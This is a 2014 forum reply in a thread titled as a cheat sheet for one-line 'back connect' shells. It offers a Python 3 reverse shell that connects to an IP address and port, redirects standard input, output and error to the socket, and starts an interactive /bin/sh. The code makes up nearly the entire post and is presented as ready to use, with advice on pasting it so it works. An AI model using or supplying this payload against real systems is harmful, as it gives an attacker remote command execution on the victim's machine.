RE: [CHEAT SHEET] One-line back connect 06-23-2014, 06:41 AM
#14
Please put your code in [.code] tags, If you don't, the newline character gets coppied, and people will complain when it dosen't work. Also, python fixed up for python 3.x
Code:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
addr = ("10.0.0.1",1234)
s.connect(addr)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])